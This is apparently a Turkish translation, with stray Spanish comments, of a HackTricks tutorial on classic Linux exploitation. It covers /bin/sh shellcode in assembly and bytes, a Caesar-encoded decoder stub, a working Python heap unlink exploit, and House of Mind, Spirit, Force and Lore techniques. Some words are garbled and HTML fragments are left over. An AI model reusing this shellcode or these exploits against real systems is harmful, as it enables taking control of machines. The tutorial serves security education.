hacktricks/exploiting/linux-exploiting-basic-esp/README.md

33 KiB
Raw Blame History

Linux Exploiting (Basic) (SPA)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

2.SHELLCODE

Kerneli kesintileri verin: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; eax'i temizle
xor ebx, ebx ; ebx = 0 çünkü geçilecek argüman yok
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Syscall'ı çalıştır

nasm -f elf assembly.asm —> Bize bir .o döner
ld assembly.o -o shellcodeout —> Bize, assembler kodundan oluşan bir çalıştırılabilir dosya verir ve objdump ile opcode'ları alabiliriz
objdump -d -Mintel ./shellcodeout —> Gerçekten shellcode'umuz olduğunu görmek ve OpCodes almak için

Shellcode'un çalıştığını kontrol et

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Para sistem çağrılarının doğru yapıldığını görmek için yukarıdaki programı derlemek ve sistem çağrılarının strace ./PROGRAMA_COMPILADO'da görünmesi gerekir.

Shellcode oluştururken bir hile yapılabilir. İlk talimat bir çağrıya atlamadır. Çağrı, orijinal kodu çağırır ve ayrıca yığına EIP'yi ekler. Çağrı talimatından sonra ihtiyaç duyduğumuz dizeyi ekledik, bu nedenle bu EIP ile dizeyi işaretleyebiliriz ve ayrıca kodu çalıştırmaya devam edebiliriz.

EJ TRUCO (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ yığını kullanarak (/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Huter:

Bir sürecin bellek sayfalarını tarayan ve orada saklanan shellcode'u arayan küçük bir kod parçasından oluşur (shellcode'da yer alan bir imzayı arar). Kod enjekte etmek için yalnızca küçük bir alanın bulunduğu durumlarda kullanışlıdır.

Polimorfik Shellcodlar

Şifrelenmiş shell'lerden oluşur ve bunları çözen ve ona atlayan küçük kodlar içerir, Call-Pop hilesini kullanarak bu bir cesar şifreli örnek olur:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.Tamamlayıcı Yöntemler

Murat Tekniği

Linux'ta tüm programlar 0xbfffffff adresinden başlar.

Linux'ta yeni bir sürecin yığın yapısının nasıl oluşturulduğunu görmek, bir exploit geliştirmeyi sağlar; böylece program, yalnızca shellcode'un bulunduğu bir ortamda başlatılabilir. Bu durumda adres şöyle hesaplanabilir: addr = 0xbfffffff - 4 - strlen(TAM_EXECUTABLE_ADI) - strlen(shellcode)

Bu şekilde, shellcode'un bulunduğu ortam değişkeninin adresi kolayca elde edilebilir.

Bunu yapmak mümkündür çünkü execle fonksiyonu, yalnızca istenen ortam değişkenlerini içeren bir ortam oluşturulmasına izin verir.

Format Strings to Buffer Overflows

sprintf, biçimlendirilmiş bir dizeyi bir değişkene taşır. Bu nedenle, bir dize biçimlendirmesini kötüye kullanarak, içeriğin kopyalandığı değişkende bir buffer overflow oluşturabilirsiniz.
Örneğin, %.44xAAAA yükü, değişkende 44B+"AAAA" yazacaktır, bu da bir buffer overflow'a neden olabilir.

__atexit Yapıları

{% hint style="danger" %} Günümüzde bunu istismar etmek çok garip. {% endhint %}

atexit(), diğer fonksiyonların parametre olarak geçirildiği bir fonksiyondur. Bu fonksiyonlar, exit() veya main'in dönüşü sırasında çalıştırılacaktır.
Eğer bu fonksiyonlardan herhangi birinin adresini shellcode'a işaret edecek şekilde değiştirebilirseniz, sürecin kontrolünü ele geçirebilirsiniz, ancak bu şu anda daha karmaşık.
Şu anda, çalıştırılacak fonksiyonların adresleri, birkaç yapı arkasında gizlidir ve nihayetinde işaret ettikleri adresler, fonksiyonların adresleri değil, XOR ile şifrelenmiş ve rastgele bir anahtar ile kaydırılmıştır. Bu nedenle, şu anda bu saldırı vektörü en azından x86 ve x64_86 üzerinde çok kullanışlı değildir.
Şifreleme fonksiyonu PTR_MANGLE'dir. m68k, mips32, mips64, aarch64, arm, hppa gibi diğer mimariler, şifreleme fonksiyonunu uygulamaz çünkü bu fonksiyon, aldığı girdi ile aynı değeri döndürür. Bu nedenle, bu mimariler bu vektörle saldırıya uğrayabilir.

setjmp() & longjmp()

{% hint style="danger" %} Günümüzde bunu istismar etmek çok garip. {% endhint %}

setjmp(), bağlamı (kayıtları) kaydetmeye olanak tanır.
longjmp(), bağlamı geri yüklemeye olanak tanır.
Kaydedilen kayıtlar: EBX, ESI, EDI, ESP, EIP, EBP
Olan şey, EIP ve ESP'nin PTR_MANGLE fonksiyonu tarafından geçildiğidir, bu nedenle bu saldırıya karşı savunmasız mimariler yukarıdaki ile aynıdır.
Hata kurtarma veya kesintiler için kullanışlıdır.
Ancak, okuduğum kadarıyla, diğer kayıtlar korunmamıştır, bu nedenle eğer çağrılan fonksiyon içinde call ebx, call esi veya call edi varsa, kontrol ele geçirilebilir. Ya da EBP'yi değiştirerek ESP'yi de değiştirebilirsiniz.

C++'da VTable ve VPTR

Her sınıfın bir Vtable'ı vardır; bu, metotlara işaret eden bir dizidir.

Her sınıf nesnesinin bir VPtr'ı vardır; bu, sınıfının dizisine işaret eden bir işaretçidir. VPtr, her nesnenin başlığının bir parçasıdır, bu nedenle bir VPtr'ın ırı yazılması sağlanırsa, bir sahte metoda işaret edecek şekilde değiştirilebilir, böylece bir fonksiyon çalıştırıldığında shellcode'a yönlendirilir.

Önleyici Tedbirler ve Kaçışlar

Libsafe Değiştirme

Şu şekilde etkinleştirilir: LD_PRELOAD=/lib/libsafe.so.2
veya
“/lib/libsave.so.2” > /etc/ld.so.preload

Güvensiz bazı fonksiyon çağrıları, güvenli olanlarla değiştirilir. Standart değildir. (sadece x86 için, -fomit-frame-pointer ile derlenmişler için değil, statik derlemeler için değil, tüm savunmasız fonksiyonlar güvenli hale gelmez ve LD_PRELOAD, suid ile olan ikili dosyalarda işe yaramaz).

ASCII Donanımlı Adres Alanı

0x00000000 ile 0x00ffffff arasında paylaşılan kütüphaneleri yüklemeyi içerir, böylece her zaman bir 0x00 baytı bulunur. Ancak, bu gerçekten neredeyse hiçbir saldırıyı durdurmaz, özellikle little endian'da.

ret2plt

Bir ROP gerçekleştirerek strcpy@plt (plt'den) fonksiyonunu çağırmayı ve GOT'taki girişe işaret etmeyi ve çağrılmak istenen fonksiyonun ilk baytını (system()) kopyalamayı içerir. Ardından, GOT+1'e işaret ederek system()'in 2. baytını kopyalar... Sonunda, system()'in adresini saklayarak GOT'ta çağrılır.

chroot() ile Kafesler

debootstrap -arch=i386 hardy /home/user —> Belirli bir alt dizin altında temel bir sistem kurar.

Bir yönetici, bunlardan birinden çıkmak için: mkdir foo; chroot foo; cd ..

Kod Enstrümantasyonu

Valgrind —> Hataları arar
Memcheck
RAD (Return Address Defender)
Insure++

8 Yığın Taşmaları: Temel Exploitler

Atanan Parça

prev_size |
size | —Başlık
*mem | Veriler

Boş Parça

prev_size |
size |
*fd | İleri parça işaretçisi
*bk | Geri parça işaretçisi —Başlık
*mem | Veriler

Boş parçalar, çift bağlı bir listede (bin) bulunur ve asla yan yana iki boş parça olamaz (birleşirler).

“size” içinde, önceki parçanın kullanılıp kullanılmadığını, parçanın mmap() ile atanıp atanmadığını ve parçanın ana arenaya ait olup olmadığını belirten bitler vardır.

Eğer bir parçayı serbest bıraktığınızda, komşulardan biri boşsa, bunlar unlink() makrosu ile birleştirilir ve yeni daha büyük parça frontlink()'e geçirilir, böylece uygun bin'e eklenir.

unlink(){
BK = P->bk; —> Yeni parçanın BK'si, daha önce boş olan parçanın BK'sidir.
FD = P->fd; —> Yeni parçanın FD'si, daha önce boş olan parçanın FD'sidir.
FD->bk = BK; —> Sonraki parçanın BK'si yeni parçaya işaret eder.
BK->fd = FD; —> Önceki parçanın FD'si yeni parçaya işaret eder.
}

Bu nedenle, eğer P->bk'yi bir shellcode adresi ile ve P->fd'yi GOT veya DTORS'taki bir girişin adresi ile -12 ile değiştirirsek:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Ve böylece programdan çıkarken shellcode çalıştırılır.

Ayrıca, unlink()'in 4. ifadesi bir şey yazar ve shellcode bunun için onarılmalıdır:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Bu, shellcode'un 8. baytından itibaren 4 bayt yazılmasına neden olur, bu nedenle shellcode'un ilk talimatı, bunu atlamak ve geri kalan shellcode'a ulaşmak için bir jmp olmalıdır.

Bu nedenle exploit şöyle oluşturulur:

buffer1'e shellcode'u, nops'a düşecek bir jmp ile başlarız.

Shellcode'dan sonra, bir önceki parçanın prev_size ve size alanına kadar dolgu ekleriz. Bu alanlara 0xfffffff0 (önceki parçanın boş olduğunu belirten biti ayarlamak için) ve “-4“(0xfffffffc) ekleriz (3. parçanın 2. parçanın gerçekten boş olup olmadığını kontrol ettiğinde, ona boş olduğunu söyleyen değiştirilmiş prev_size'a gidecektir) -> Böylece free() araştırdığında, 3. parçanın boyutuna gidecek, ancak aslında 2. parçaya -4 gidecek ve 2. parçanın boş olduğunu düşünecektir. Ve ardından unlink()'i çağıracaktır.

unlink() çağrıldığında, P->fd olarak 2. parçanın ilk verilerini kullanacak, bu nedenle oraya yazmak istediğiniz adresi -12 (çünkü FD->bk, FD'deki saklanan adrese 12 ekleyecektir) yerleştirecektir. Ve bu adrese, 2. parçadaki ikinci adresi yerleştirecektir, bu da shellcode'a işaret etmesini istediğimiz adrestir (sahte P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bayt dolgu

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Önceki parçanın boş olduğunu belirten bitin 1 olması gerekir.

fake_size = pack("<I”, 0xfffffffc) #-4, böylece 3. parçanın “size”ı 4 bayt geride olduğunu düşünür (prev_size'a işaret eder) çünkü burada 2. parçanın boş olup olmadığını kontrol eder.

addr_sc = pack("<I", 0x0804a008 + 8) #Yükün başında 8 bayt dolgu ekleyeceğiz.

got_free = pack("<I", 0x08048300 - 12) #free() adresi plt'de -12 (shellcode'u çalıştırmak için 2. kez free() çağrıldığında yazılacak adres).

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Daha önce belirtildiği gibi, yük 8 bayt dolgu ile başlar.

payload += prev_size + fake_size + got_free + addr_sc #2. parçayı değiştiriyoruz, got_free, addr_sc + 12 adresini saklayacağımız yere işaret ediyor.

os.system("./8.3.o " + payload)

unset() tersine serbest bırakma (wargame)

Üç ardışık parçayı kontrol ediyoruz ve bunlar, ayrıldıkları sıranın tersine serbest bırakılıyor.

Bu durumda:

c parçasına shellcode yerleştiriyoruz.

a parçasını, b parçasını öyle bir şekilde aşırı yazmak için kullanıyoruz ki, size alanında PREV_INUSE bitinin devre dışı bırakılmasını sağlıyoruz, böylece a parçasının boş olduğunu düşünür.

Ayrıca, b başlığında size'ı -4 olacak şekilde aşırı yazıyoruz.

Böylece program, “a”nın boş olduğunu düşünecek ve bir bin içinde olacak, bu nedenle unlink() çağıracaktır. Ancak, PREV_SIZE başlığı -4 olduğundan, “a” parçasının aslında b+4'te başladığını düşünecektir. Yani, b+4'te bir unlink() yapacak, bu nedenle b+12'de fd işaretçisi ve b+16'da bk işaretçisi olacaktır.

Bu şekilde, bk'ye shellcode adresini ve fd'ye puts() adresini -12 yerleştirirsek, yükümüzü elde ederiz.

Frontlink Tekniği

Frontlink, bir şey serbest bırakıldığında ve komşu parçaların hiçbiri boş değilse çağrılır, unlink() çağrılmaz, doğrudan frontlink() çağrılır.

Kullanışlı bir zafiyet, saldırıya uğrayan malloc'un asla serbest bırakılmadığı durumdur (free()).

Gerektirir:

  • Giriş verileri ile taşma yapabilecek bir buffer
  • Bu buffer'a bitişik bir buffer, serbest bırakılacak ve önceki buffer'ın taşması sayesinde başlığındaki fd alanı değiştirilecektir.
  • Boyutu 512'den büyük ama önceki buffer'dan küçük bir buffer
  • Bu adım 3'ten önce tanımlanmış bir buffer, bu buffer'ın prev_size'ınıırı yazmaya izin verir.

Bu şekilde, iki malloc'ta kontrolsüz bir şekilde ve birinde kontrollü bir şekilde aşırı yazmayı başardığımızda, bir exploit oluşturabiliriz.

double free() Zafiyeti

Eğer aynı işaretçi ile free() iki kez çağrılırsa, iki bin aynı adrese işaret eder.

Birini yeniden kullanmak isterseniz, sorun olmadan atanır. Diğerini kullanmak isterseniz, aynı alan atanır, bu nedenle fd ve bk işaretçileri, önceki rezervasyonun yazacağı verilerle sahte olur.

After free()

Daha önce serbest bırakılmış bir işaretçi, kontrolsüz bir şekilde yeniden kullanılır.

8 Yığın Taşmaları: İleri Düzey Exploitler

Unlink() ve FrontLink() teknikleri, unlink() fonksiyonu değiştirilerek kaldırıldı.

The house of mind

Arbitrary kodun yürütülmesini sağlamak için yalnızca bir free() çağrısı gereklidir. İlgili bir ikinci parçayı aramak önemlidir; bu parça, bir önceki parça tarafından taşma yapılabilir ve serbest bırakılabilir.

Bir free() çağrısı, public_fREe(mem) çağrısını tetikler, bu da:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mem); —> Parçanın başladığı adrese işaret eden bir işaretçi döndürür (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

1

Bu şekilde, örneğin 0x0804a000'da bir parçayı kontrol edebiliyorsak ve 0x081002a0'da bir parça serbest bırakılacaksa, 0x08100000 adresine ulaşabilir ve istediğimiz şeyi yazabiliriz, örneğin 0x0804a000. Bu ikinci parça serbest bırakıldığında, heap_for_ptr(ptr)->ar_ptr, 0x08100000'da yazdığımızı döndürecektir (çünkü daha önce gördüğümüz and işlemi 0x081002a0'a uygulanır ve buradan ilk 4 baytın değeri, ar_ptr olarak alınır).

Bu şekilde, _int_free(ar_ptr, mem) çağrılır, yani _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Daha önce gördüğümüz gibi, av değerini kontrol edebiliriz, çünkü serbest bırakılacak parçada yazdığımız şeydir.

Unsorted_chunks tanımına göre, şunu biliyoruz:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Bu nedenle, av->bins[2]'ye __DTOR_END__-12 değerini yazarsak, son talimat, __DTOR_END__ adresini yazacaktır.

Yani, ilk parçada, birçok kez __DTOR_END__-12 adresini başa koymalıyız, çünkü av->bins[2] oradan alacaktır.

İkinci parçanın adresine, son 5 sıfırla birlikte, bu ilk parçanın adresini yazmalıyız, böylece heap_for_ptr() ar_ptr'ın ilk parçanın başında olduğunu düşünür ve oradan av->bins[2]'yi alır.

İkinci parçada ve birinciden dolayı, prev_size'ı 0x0c ile ve size'ı NON_MAIN_ARENA'yı etkinleştirecek şekilde aşırı yazıyoruz.

Ardından, 2. parçaya bir sürü nop koyuyoruz ve sonunda shellcode'u yerleştiriyoruz.

Bu şekilde, _int_free(TROZO1, TROZO2) çağrılır ve talimatları izleyerek __DTOR_END__ adresine TROZO2'nin prev_size'ını yazar, bu da shellcode'a atlayacaktır.

Bu tekniği uygulamak için, payload'u biraz daha karmaşıklaştıran bazı gereksinimlerin karşılanması gerekir.

Bu teknik artık uygulanamaz çünkü unlink için neredeyse aynı yamanın uygulandığı görüldü. Yeni işaret edilen yerin de kendisine işaret edip etmediği kontrol edilir.

Fastbin

The house of mind'ın bir varyantıdır.

Aşağıdaki kodu yürütmek için, ilk kontrolü geçtikten sonra ulaşmak önemlidir:

fb = &(av->fastbins[fastbin_index(size)] —> fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Bu şekilde, “fb”de GOT'taki bir fonksiyonun adresi verilirse, bu adrese aşırı yazılmış parça adresi yerleştirilecektir. Bunun için arenanın dtors adreslerine yakın olması gerekecektir. Daha kesin olarak, av->max_fast'ın aşırı yazılacak adresin üzerinde olması gerekmektedir.

The House of Mind ile, av'nın konumunu kontrol edebildiğimiz görüldü.

Bu nedenle, size alanına 8 + NON_MAIN_ARENA + PREV_INUSE yazarsak —> fastbin_index() fastbins[-1] döndürecektir, bu da av->max_fast'a işaret edecektir.

Bu durumda av->max_fast, aşırı yazılacak adres olacaktır (işaret ettiği değil, bu konum aşırı yazılacaktır).

Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği gereklidir -> Daha önce serbest bırakılan parçanın boyutunun 8 olduğunu söyledik, bu sahte parçada yalnızca 8'den büyük bir boyut koymalıyız (çünkü shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymalıyız).

Ayrıca, bu sahte parça, av->system_mem'den daha küçük olmalıdır. av->system_mem, 1848 bayt daha ileridedir.

__DTOR_END_ ve GOT'taki az sayıda adres nedeniyle, bu bölümlerin hiçbiri aşırı yazılmak için uygun değildir, bu nedenle yığın saldırısı uygulamak için fastbin'i nasıl uygulayacağımıza bakalım.

Başka bir saldırı yöntemi, av'yi yığına yönlendirmektir.

Boyutu 8 yerine 16 olacak şekilde değiştirirsek, fastbin_index() fastbins[0] döndürecektir ve bunu kullanarak yığınıırı yazabiliriz.

Bunun için yığında hiçbir canary veya garip değer olmamalıdır, aslında bu durumda 4 bayt sıfır + EBP + RET olmalıdır.

4 bayt sıfır, av'nin bu adreste olmasını gerektirir ve bir av'nin ilk öğesi, 0 olmalıdır.

av->max_fast, EBP olacaktır ve bu, kısıtlamaları atlamak için kullanışlı bir değer olacaktır.

av->fastbins[0]'da, p adresi ile aşırı yazılacak ve RET olacaktır, böylece shellcode'a atlayacaktır.

Ayrıca, av->system_mem (yığın konumunun 1484 bayt yukarısında) yeterince çöp olacaktır, bu da kontrolü atlamamıza izin verecektir.

Ayrıca, serbest bırakılan parçanın komşusunun 8'den büyük olması gerektiği gereklidir -> Daha önce serbest bırakılan parçanın boyutunun 16 olduğunu söyledik, bu sahte parçada yalnızca 8'den büyük bir boyut koymalıyız (çünkü shellcode serbest bırakılan parçada olacağından, başta nops'a düşecek bir jmp koymalıyız).

The House of Spirit

Bu durumda, saldırgan tarafından değiştirilebilen bir malloc işaretçisine sahip olmayı arıyoruz (örneğin, işaretçi, bir değişkene olası bir taşma altında yığında olabilir).

Bu şekilde, bu işaretçiyi istediğimiz yere yönlendirebiliriz. Ancak, her yer geçerli değildir; sahte parçanın boyutu av->max_fast'tan küçük olmalı ve daha spesifik olarak, gelecekteki bir malloc() çağrısında istenen boyuta eşit olmalıdır. Bu nedenle, bu işaretçi savunmasız olduğunda malloc(40) çağrıldığında, sahte parçanın boyutu 48 olmalıdır.

Örneğin, program kullanıcıdan bir sayı isterse, 48 girebiliriz ve değiştirilebilir malloc işaretçisini sonraki 4 bayta (şans eseri EBP'ye ait olabilecek) yönlendirebiliriz, böylece 48 geride kalır, sanki başlık boyutuymuş gibi. Ayrıca, ptr-4+48 adresinin birkaç koşulu karşılaması gerekir (bu durumda ptr=EBP), yani 8 < ptr-4+48 < av->system_mem.

Bu koşullar sağlanırsa, bir sonraki malloc çağrısı malloc(40) olduğunda, EBP adresini atayacaktır. Eğer saldırgan bu malloc'ta ne yazılacağını da kontrol edebiliyorsa, hem EBP'yi hem de EIP'yi istediği adresle aşırı yazabilir.

Bunun nedeni, free() çağrıldığında, yığın üzerindeki EBP adresine işaret eden bir parçanın, yeni malloc() için ayrılacak olan parçanın boyutuna mükemmel bir şekilde uygun bir parça olduğunu kaydetmesidir, bu nedenle o adresi atar.

The House of Force

Gereklidir:

  • ırı yazmaya izin veren bir parçaya taşma
  • Kullanıcı tarafından belirlenen boyutta bir malloc() çağrısı
  • Kullanıcı tarafından tanımlanabilen verilerle bir malloc() çağrısı

İlk olarak, wilderness parçasının boyutunu çok büyük bir değerle (0xffffffff) aşırı yazıyoruz, böylece yeterince büyük herhangi bir bellek talebi, yığın genişletilmeden _int_malloc() içinde işlenir.

İkincisi, av->top'u saldırganın kontrolü altındaki bir bellek alanına, örneğin yığına işaret edecek şekilde değiştirmektir. av->top'a &EIP - 8 yazılacaktır.

av->top'u, saldırganın kontrolü altındaki bellek alanına işaret edecek şekilde aşırı yazmalıyız:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim, mevcut wilderness parçasının adresinin değerini (mevcut av->top) alır ve remainder, o adresin üzerine malloc() tarafından istenen bayt sayısını ekler. Yani, eğer &EIP-8 0xbffff224'de ve av->top 0x080c2788'de ise, kontrol edilen malloc'ta av->top'un $EIP-8'e işaret etmesi için ayırmamız gereken miktar:

0xbffff224 - 0x080c2788 = 3086207644.

Böylece av->top'a değiştirilmiş değer kaydedilir ve bir sonraki malloc, EIP'ye işaret eder ve onu aşırı yazabilir.

Yeni wilderness parçasının boyutunun, son malloc() talebinden daha büyük olması önemlidir. Yani, wilderness &EIP-8'e işaret ediyorsa, boyut tam olarak yığındaki EBP alanında kalacaktır.

The House of Lore

SmallBin Bozulması

Serbest bırakılan parçalar, boyutlarına göre bin'e yerleştirilir. Ancak, yerleştirilmeden önce unsorted bins'de saklanır. Bir parça serbest bırakıldığında, hemen bin'ine yerleştirilmez, bunun yerine unsorted bins'de kalır. Ardından, yeni bir parça ayrıldığında ve önceki serbest bırakılan parça ona hizmet edebiliyorsa, onu geri döndürür; ancak daha büyük bir parça ayrıldığında, unsorted bins'deki serbest bırakılan parça uygun bin'ine yerleştirilir.

Zayıf kodu elde etmek için bellek talebi, av->max_fast'tan (genellikle 72) büyük ve MIN_LARGE_SIZE'dan (512) küçük olmalıdır.

Eğer bin'de istenen boyuta uygun bir parça varsa, bu parça, serbest bırakıldıktan sonra unsorted bins'den çıkarılarak geri döndürülür:

bck = victim->bk; Önceki parçaya işaret eder, değiştirebileceğimiz tek bilgidir.

bin->bk = bck; Önceki parça son parça olur, eğer bck yığına işaret ediyorsa, bir sonraki ayrılan parçaya bu adres verilecektir.

bck->fd = bin; Bu, bu parçanın bin'e işaret etmesini sağlayarak listeyi kapatır.

Gerektirir:

İki malloc ayrılması, böylece ilki, ikincisi serbest bırakıldıktan sonra taşma yapılabilir (yani, taşma yapılmadan önce ikinci parçadan daha büyük bir malloc ayrılmış olmalıdır).

Saldırganın belirlediği adrese ayrılan malloc'un, saldırgan tarafından kontrol edilmesi gerekir.

Amaç şudur: Eğer serbest bırakılmış bir yığın parçasına taşma yapabiliyorsak ve onun altında bir parça varsa, bk işaretçisini değiştirebiliriz. Eğer bk işaretçisini değiştirirsek ve bu parça, bin listesinin ilk parçası olursa ve ayrılırsa, bin'e, sunulacak son parçanın sahte adresinin (yığın veya GOT gibi) olduğunu söyleyebiliriz. Böylece, başka bir parça ayrıldığında ve saldırganın buna erişimi varsa, istenen konumda bir parça alacak ve oraya yazabilecektir.

Değiştirilen parçayı serbest bıraktıktan sonra, serbest bırakılan parçadan daha büyük bir parça ayrılması gerekir, böylece değiştirilen parça unsorted bins'den çıkarılır ve uygun bin'ine yerleştirilir.

Bir kez bin'ine yerleştirildiğinde, taşma yoluyla bk işaretçisini değiştirmek için zamanı gelmiştir, böylece istediğimiz adresi aşırı yazabiliriz.

Bu nedenle, bin'in, yeterince malloc() çağrısı yapılana kadar sırada beklemesi gerekir, böylece değiştirilen bin yeniden kullanılır ve bin'e, bir sonraki parçanın sahte adreste olduğunu düşündürür. Ardından, ilgilendiğimiz parça verilecektir.

Zafiyetin mümkün olan en kısa sürede çalışması için ideal olan: Zayıf parçanın ayrılması, değiştirilecek parçanın ayrılması, bu parçanın serbest bırakılması, daha büyük bir parça ayrılması, parçanın değiştirilmesi (zafiyet), zayıf parçayla aynı boyutta bir parça ayrılması ve bu, seçilen adrese işaret eden ikinci parça olacaktır.

Bu saldırıyı korumak için, parçanın “sahte” olmadığını kontrol eden tipik bir kontrol kullanıldı: bck->fd'nin victim'a işaret edip etmediği kontrol edilir. Yani, bizim durumumuzda, yığında işaret edilen sahte fd* işaretçisinin victim'a işaret edip etmediği kontrol edilir. Bu korumayı aşmak için, saldırganın bir şekilde (muhtemelen yığın üzerinden) uygun adrese victim adresini yazabilmesi gerekir. Böylece, gerçek bir parça gibi görünür.

LargeBin Bozulması

Önceki gereksinimlerin yanı sıra, ayrılan parçaların boyutları 512'den büyük olmalıdır.

Saldırı, önceki gibi, bk işaretçisini değiştirmeyi gerektirir ve tüm bu malloc() çağrılarına ihtiyaç vardır, ancak ayrıca değiştirilen parçanın boyutunu, bu boyut - nb < MINSIZE olacak şekilde değiştirmek gerekir.

Örneğin, boyutu 1552 yapmak, 1552 - 1544 = 8 < MINSIZE (çıkarma negatif olmamalıdır çünkü unsigned bir değer karşılaştırılır).

Ayrıca, durumu daha da karmaşıklaştırmak için bir yamanın uygulandığı görülmüştür.

Heap Spraying

Temelde, mümkün olan tüm yığın belleği ayırmak ve bunları bir shellcode ile biten nop'larla doldurmak anlamına gelir. Ayrıca, 0x0c kullanılarak bir yastık oluşturulur. Çünkü 0x0c0c0c0c adresine atlamaya çalışılacak ve bu nedenle, bu adrese yazılan herhangi bir işaretçi, oraya atlayacaktır. Temel olarak taktik, mümkün olduğunca fazla alan ayırmak ve bir işaretçiyi aşırı yazmak ve 0x0c0c0c0c adresine atlamaktır; umarız orada nop'lar vardır.

Heap Feng Shui

Belleği, rezervasyonlar ve serbest bırakmalar yoluyla, boş parçaların arasında ayrılmış parçalar kalacak şekilde düzenlemeyi içerir. Taşma yapılacak buffer, bu boşluklardan birinde yer alacaktır.

objdump -d yürütülebilir —> Fonksiyonları disassemble eder
objdump -d ./PROGRAMA | grep FUNCION —> Fonksiyon adresini alır
objdump -d -Mintel ./shellcodeout —> Gerçekten shellcode olduğuna ve OpCodes'u çıkarmak için
objdump -t ./exec | grep varBss —> Değişkenler ve fonksiyonlar için adres tablosu
objdump -TR ./exec | grep exit(func lib) —> Kütüphane fonksiyonlarının adreslerini almak için (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> GOT'ta aşırı yazılacak puts adresini alır
objdump -D ./exec —> Tümünü disassemble eder, plt girişlerine kadar
objdump -p -/exec
Info functions strncmp —> gdb'de fonksiyon bilgisi

İlginç Kurslar

Referanslar

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}